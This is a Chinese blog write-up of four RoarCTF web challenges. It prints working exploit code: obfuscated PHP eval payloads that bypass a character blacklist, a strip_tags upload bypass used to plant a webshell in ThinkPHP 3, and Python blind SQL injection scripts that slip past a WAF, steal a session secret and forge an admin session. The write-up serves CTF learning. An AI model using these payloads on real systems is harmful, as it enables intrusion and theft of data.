RoarCTF Web writeup

RoarCTF Web writeup

安全 4608 字 / 10 分钟
AI 总结 以下AI总结内容由腾讯混元大模型生成

本文主要记录了作者在参加RoarCTF赛事期间的一些心得体会和解题过程,包括对各道题目的简要分析和技术细节的讲解。

  1. easy_calc:这是一道原生PHP的题目,作者采用了骚套路进行审计,利用按位与&以及按位或|的方法绕过了题目中的黑名单过滤。最终通过构造特定的输入获得了flag文件。

  2. simple_upload:这道题是作者与@Moesang共同完成的,考察了对ThinkPHP 3源码的审计。作者发现了管理员路由,并通过SQL注入绕过了WAF,最终通过伪造管理员Session获得了flag。

  3. dist:这是作者首次完成Golang题目的经历,通过分析题目和源码,作者最终利用Golang slice的特性成功获得flag。

  4. Online Proxy:这道题是@Lou00学长做的,作者通过盲注和二分法找到了数据库表名、字段名,并最终获得了flag。

总的来说,作者在RoarCTF赛事中不仅积累了宝贵的经验,还对技术细节有了更深入的理解和掌握。

前几天一直在打 RoarCTF。Web 题总得来说难度适中,正好适合我这种菜鸡学习新东西 XD 虽然第一天刚开始的时候平台一直进不去,从而导致一堆娱乐圈的弱智直接知乎见。真的无语。其实整场比赛下来我感觉还是蛮爽的,虽然容器有时不是很稳,但从题目质量上来说确实看得出是师傅们是蛮用心的。 自己花了一下午肝出来了一道 Web,然后第二天和 @Moesang 大佬一起,拿了 Web Go 题的一血。开心~

easy_calc

说实话看到题目名字还以为又双叒叕是之前那个拟态计算器的升级版,还好不是。 这其实是我最喜欢的原生 PHP 中的骚套路题。就像之前 ByteCTF 的 boring_code 一样。 进入题目,随便输入一个算式,发现会调用calc.php进行计算。访问calc.php,给出源代码,开始审计。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}

这里的黑名单过滤了一些字符,同时题目还有个 WAF 也会检测非法字符并返回 403。 Fuzz 一下,发现会过滤字母、#!等字符。 $blacklist里过滤了异或,导致我们无法使用异或出字符。不过可以使用按位与&以及按位或|。在 PHP 中,将两个数字使用.拼接,会当做字符串来处理,返回的也是一个字符串。例如:(1).(2)出来的就是字符串"12",然后可以用{}来代替[]来取单个字符。 并且,PHP 中,1/0得出的是float类型的INF0/0得出的是float类型的NAN,我们也可以把这些转成字符串类型,从而得到字母A I N F。 写个脚本 Fuzz 一下,看看能位运算生成哪些新的字符: [runtime lang=“php” height=“350px”]

<?php
$char = '1234567890-INFAH@+*%$()"!%meogiakcfhvwbnq_';
for($i = 0; $i < strlen($char); $i++){
    for($j = 0; $j < strlen($char); $j++){
        echo($char[$i] .'&' .$char[$j] . ' '. ($char[$i] & $char[$j]));
        echo("\n");
        echo($char[$i] .'|' .$char[$j] . ' '. ($char[$i] | $char[$j]));
        echo("\n");
    }
}
?>

[/runtime] 最后根据这个表,就可以构造代码了。可以构造形如(phpinfo)()这样的形式,来动态执行函数。 值得一提的是,PHP 中函数名是不区分大小写的,因此不一定需要全小写的字符拼凑函数名。 我是直接强行用手拼的,都快自闭了哈哈哈。 phpinfo()

((((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).((((999**999).(1)){0})&(((999**999).(1)){1})).(((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).(((999**999).(1)){0}).(((999**999).(1)){1}).(((999**999).(1)){2}).((((999**999).(1)){0})|(((999**999).(1)){1})))()

(scandir)(../../../)

((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))).(((999**999).(1)){0}).(((0/0).(0)){1}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((((2).(0)){0}){0})|(((0/0).(0)){1})).((((0/0).(0)){1})|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).(((999**999).(1)){1}).(((((999**999).(1)){0})&(((999**999).(1)){2}))|((((4).(0)){0})&(((-1).(0)){0}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))))((((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))))))

在根目录发现 flag 文件f1agg。 最终 payload 构造:(serIALIze)(FILe(/f1agg))读取文件:

((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))).(((999**999).(1)){0}).(((0/0).(0)){1}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((999**999).(1)){2}).(((999**999).(1)){0}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))).(((1).(1)){0}).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))))

注意最后发送的时候需要再 URLencode 一下。 拿到 flag。

simple_upload

这道题是 @Roc 做的。碰巧他前阵子刚好在审 ThinkPHP 3 的源码。 进入题目,还是代码审计。这是一个使用 ThinkPHP 3 搭建的上传页面。

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }
        
        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}

这里有其自己的对文件名内不能包含.php字符的检测:

if (strstr(strtolower($uploadFile['name']), ".php") ) {
	return false;
}

下载一个 ThinkPHP 3 的源码,ThinkPHP/Library/Think/Upload.class.php就是Upload类的源码。我们可以发现上述代码中的allowExts属性其实并不存在,TP3 中限制上传文件后缀类型的属性应该是exts。 所以问题就在于如何绕过上述对于.php的限制。在Upload.class.php的第 157 行,有这么一句:

$file['name'] = strip_tags($file['name']);

就是这一句,恰好弄巧成拙了。strip_tags()函数会去除文件名中的 HTML 标签。因此我们可以构造形如.p<br>hp这样的文件后缀,从而绕过对于.php的检测,进入 TP3 的上传类中,它又会帮我们去除 HTML 标签。 因此向index.php/Home/Index/upload上传一个.p<br>hp格式的 webshell 即可。

这里额外补充一下,上周腾讯 SRC 发布了他们 SRC 的开源版本 xSRC,也是用 ThinkPHP 3 编写的。我大致看了下它里面关于上传的部分:

public function upload(){
	$upload = new \Think\Upload();
	$upload->maxSize   =     3145728 ;
	$upload->exts      =     array('jpg', 'gif', 'png', 'jpeg');
	$upload->rootPath  =      './Public/Uploads/';
	$info   =   $upload->uploadOne($_FILES['photo']);
	if(!$info) {
		$this->error($upload->getError());
	}else{
		$result['code'] = "200";
		$result['savepath'] = $info['savepath'].$info['savename'];
		$this->ajaxReturn($result,'JSON'); 
	}
}

可以看到这里就用设置了exts属性,这样 ThinkPHP 3 在上传文件时,就会调用checkExt()方法来检查文件后缀。(当时看到这个题的时候,我还以为 xSRC 也有这个洞,还是太 naive 了

dist

和 @Moesang 一起拿了一血!!也是我第一次做出来的 Golang 题! 因为比赛已经结束了,所以我使用 BUUCTF 上的环境进行复现,题目端口与真实比赛的端口不一样。 进入题目,发现是一个前后端分离的架构。注册登录等操作会走9000端口,其它相关功能是在5001端口。 通过观察 404 页面的显示,我感觉这跟 Gin 框架的 404 很像。事实证明确实是用的 Gin。 那么首先是找到后端的源码。通过观察我们可以发现前端 webpack 并没有关闭 sourcemap,导致我们可以直接 F12 然后从 Source 里面看到前端的 Vue 源码。 咋config.js里面找到网站源码备份/backup-for-debug.7z,下载下来进行审计。 这道题其实还是挺良心的,很多关键的地方都故意写上了注释以降低难度。 通过阅读源码,我们可以得知存在管理员路由/api/service/manage

serviceManage := service.Group("/manage")
serviceManage.Use(route.AdminRequired())
serviceManage.GET("/start", route.ServiceStart)
serviceManage.GET("/reset", route.ServiceReset)
serviceManage.POST("/add-player", route.AddPlayer)

管理员使用了AdminRequired()中间件限制了只能管理员访问。

func AdminRequired() gin.HandlerFunc {
	return func(c *gin.Context) {
		session := sessions.Default(c)
		uname := session.Get("uname").(string)
		isAdmin := session.Get("isAdmin").(bool)

		if uname == "admin" && isAdmin {
			c.Next()
		} else {
			c.AbortWithStatus(403)
		}
	}
}

通过获取当前用户的 Session,当uname等于adminisAdmintrue时,即认证通过。 关于 Session 的机制,这里用的是github.com/gin-contrib/sessions这个包,它的 Session 其实和 Flask 的 Session 类似,也是将数据放在 Cookie 里并进行签名。

storage := cookie.NewStore([]byte(secretKey))
authRouter.Use(sessions.Sessions("casino", storage))
serviceRouter.Use(sessions.Sessions("casino", storage))

因此只要得知secretKey,我们就可以伪造管理员的 Session 进行管理员操作。 代码里面很贴心的告诉了我们它将secretKey在数据库里的备份了一份。

// backup my secret key into DB
_, err = db.Exec(fmt.Sprintf(`INSERT INTO secret(secret) VALUES('%s');`, secretKey))
if err != nil {
	return err
}

同时在auth.go L141,注释也很贴心地告诉了我们这里存在 SQL 注入:

// may be SQLi here
// but dont worry, baby hackers cant break my waf
rows, err := DB.Query(fmt.Sprintf("SELECT pwd FROM users WHERE uname='%s';", j.Uname))
if err != nil {
	c.JSON(200, Msg{-1, err.Error(), nil})
	return
}
defer rows.Close()

这里是直接 SQL 语句拼接,可以注入。但是由于题目有一个 TCP WAF,会黑名单检测请求体的内容。但在waf/main.go L60我们可以看到:

buf := make([]byte, 4*1024)

这里只make一个大小为 4096 byte 的数组。它在之后的 for 循环中只会读入 4096 字节的数据,超出部分直接忽略。因此我们可以构造一个巨大的请求体,4096 字节后的内容是我们的 payload,这样就可以绕过 WAF。 写个脚本注入跑出secretKey

import requests
char = '1234567890abcdefghijklmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()_+'
key = ''
for num in range(0, 50):
    for i in range(len(char)):
        try:
            r = requests.post('http://122.51.17.42:50000/auth/login', json={
                "n": 'a' * 4096,
                "uname": "e99' and substr((select `secret` from `secret`)," + str(num) + ",1)='" + char[i] + "' ---",
                "pwd": "12345678"
            })
            c = r.text
            if 'ok' in c:
                key += char[i]
                print(key)
        except:
            print(i)

这里是通过布尔盲注,前面是正确的账号信息;若and后面的条件也满足,则登录成功,否则就登录失败。注出来secretKey**ioioio**。 然后就可以利用secretKey来伪造管理员 Session。本地起一个 Gin:

func main() {
	secretKey := "**ioioio**"
	storage := cookie.NewStore([]byte(secretKey))

	r := gin.Default()
	r.Use(sessions.Sessions("casino", storage))

	r.GET("/", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("uname", "admin")
		session.Set("isAdmin", true)
		session.Save()

		c.JSON(200, gin.H{
			"message": "pong",
		})
	})

	r.Run()
}

访问本地的站,拿到管理员 Session。管理员拥有将用户加入到Formal player以及开始一轮的权限。 本题需要总金额超过 999999,或者在开奖时刚好达到一个随机数:

if u.TotalBalance > 999999 || win {
	flag = os.Getenv("flag")
} else {
	flag = "nothing to show, to be a winner"
}

这里其实就是 Teaser CONFidence CTF 2019 “The Lottery” 这个题。Hammer 学长写过关于这道题的 writeup:https://www.jianshu.com/p/2e3f0018b0d6 这里其实是用到了 Golang slice 的一个 feature: [runtime lang=“go” height=“400px”]

package main

import "fmt"

func main() {
	a := make([]uint64, 0)

	a = append(a, 1)
	a = append(a, 2)
	a = append(a, 3)
	b := append(a, 5)
	c := append(a, 8)
	
	fmt.Println(a)
	fmt.Println(b)
	fmt.Println(c)
}

[/runtime] 这里的输出为:

[1 2 3]
[1 2 3 8]
[1 2 3 8]

按照一般的思路,这里的b应该是[1 2 3 5],但这里确实和c一样的[1 2 3 8],确切的说是被c那里的 8 给覆盖了。 Golang 源码runtime/slice.go中有关于Slice 的定义:

type slice struct {
	array unsafe.Pointer
	len   int
	cap   int
}

这里的array是头元素指针,len是 slice 长度,cap是 slice 容量。slice 每次是以 2 的倍数进行扩容的。 当append 1 2 3三个元素时,slice 进行了一次扩容。这时候 slice 的len是 3,cap扩容了一次,由 2 变成了 4。 下一次b := append(a, 5)时,是将5这个放在了ptr指针的第四个位置上,然后返回ptr len=4 cap=4b。但这时的 a 还是 a,a 的len还是为 3,打印出来的值还是[1 2 3]。下一次c := append(a, 8)时,又是将8这个值放在了ptr这个指针的第四个位置上,刚好覆盖了前面b的值 5。 如果在后面再加一个d := append(a, 13),这时你会发现b c d也全都变成了[1 2 3 13]

回到这个题,在我们开奖的时候,会执行Calc()函数。其中就有这么一段:

var total []uint64
for _, player := range s.Players {
	// the way to win
	// e.g.
	// suppose your balances is [99, 99, 99, 99, 99, 99]
	// if 99*6 + $RANDOM == 0x1010010C then you win!
	// GOOD LUCK
	total = player.balances

	total = append(total, uint64(0xFFFFFFF+rand.Intn(0xFFFFF)))
	if sum(total) == 0x1010010C {
		s.Winners[player.Uname] = struct{}{}
	}
}

这一段将用户的钱赋值给了一个新的 slice,然后对其进行append了一个巨大的随机数。我们可以想办法让其覆盖用户的balances的第四个元素。 但是要实现上述的覆盖,那么就得先append三个值到balances中,即执行三次beg()。之后管理员执行start开始抽奖。这时将会调用Start()函数,Start()函数里起了个协程来执行函数Calc()。注意这里,当执行Calc()时,其中的指针一直是指向那个len=3 cap=4balances,当开始一轮后再执行一次beg()也还是如此。 当开始一轮后执行一次beg(),这时alen=4 cap=4;当Calc()sleep结束时,append的超大随机数就覆盖到了第四个元素上。之后再计算钱数,就超过 999999 了。 过程类似下面代码:

a := make([]uint64, 0)
a = append(a, 1)			// beg
a = append(a, 2)			// beg
a = append(a, 3)			// beg
b :=  a								// start
a = append(a, 5)			// beg
total := append(b, 888)	// calc

fmt.Println(a)		// [1 2 3 888]
fmt.Println(total)	// [1 2 3 888]

因此只需要先点击 3 次 beg,然后点击 join 加入到 Pending user 中,然后再用管理员身份调用/api/service/manage/add-player将账号加入到 Formal player。然后 调用/api/service/manage/start开启一轮,之后再 beg 一次。等待五分钟一轮结束,这时我们的钱就超过了 999999,拿到 flag。

可以说还是蛮硬核的一道题,特别是 slice 的 feature 这里。比较不爽的是等我们拿了这题一血后,主办方居然才放出 hint!这不公平啊!!

Online Proxy

这道题是 @Lou00 学长做的。 进入题目,是一个代理。原以为是 SSRF 打内网,搞了半天居然是个 SQL 注入。注入点在返回的上一次请求 IP 那里。可以通过X-Forwarded-For头控制。 URL 的话随便填一个不碍事的http://127.0.0.1。 当 IP 为1' and (1=1) or '1'='2时,访问两次会发现 Last IP 变成了 0;当 IP 为1' and (1=2) or '1'='2时,访问两次会发现 Last IP 变成了 1。因此可以依据此来进行盲注。 因为每一次访问时间都比较长,因此使用二分法进行筛选:

import requests
url = 'http://node2.buuoj.cn.wetolink.com:28881/?url=http://127.0.0.1'
rs = requests.session()
result = ''

def get_middle(start, end):
    return int((start + end) / 2)

for index in range(1, 200):
    start = 0
    end = 128
    while end - start != 1:
        i = get_middle(start, end)

        payload = "1' and ((ascii(substr(database(), " + str(index) + ", 1))) < " + str(i) + ") or '1'='2"

        rs.get(url, headers={
            'X-Forwarded-For': payload
        })

        rs.get(url, headers={
            'X-Forwarded-For': '233'
        })
        r = rs.get(url, headers={
            'X-Forwarded-For': '233'
        })

        if r.text[-5: -4] == '0':
            start = i
        elif r.text[-5: -4] == '1':
            end = i
    result += chr(int(start))
    print(result)

根据如上 payload,可以爆出当前表名为ctf

爆数据库

payload = "1' and ((ascii(substr((SELECT SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 7,1), " + str(index) + ", 1))) < " + str(i) + ") or '1'='2"

爆出有 infomation_schema test mysql ctftraining performance_schema F4l9_D4t4B45e ctf这几张表。

爆表名

这里爆F4l9_D4t4B45e这个库的表名

payload = "1' and ((ascii(substr((select `table_name` from `information_schema`.`tables` where `table_schema` = 'F4l9_D4t4B45e' LIMIT 0,1), " + str(index) + ", 1))) < " + str(i) + ") or '1'='2"

爆出表名为F4l9_t4b1e

爆字段名

payload = "1' and ((ascii(substr((select `column_name` from `information_schema`.`columns` where `table_schema`='F4l9_D4t4B45e' and `table_name`='F4l9_t4b1e' limit 1,1), " + str(index) + ", 1))) < " + str(i) + ") or '1'='2"

字段名为F4l9_C01uMn

爆 flag

payload = "1' and ((ascii(substr((SELECT `F4l9_t4b1e`.`F4l9_C01uMn` FROM `F4l9_D4t4B45e`.`F4l9_t4b1e` LIMIT 1,1), " + str(index) + ", 1))) < " + str(i) + ") or '1'='2"

拿到 flag。

总结

感谢 W&M 的师傅们。Web 题做起来还是蛮愉快的,特别是 easy_calc 这道十分合我胃口,Web 狗表示十分满足。

谢谢老板 Thanks♪(・ω・)ノ


喜欢这篇文章?为什么不打赏一下呢?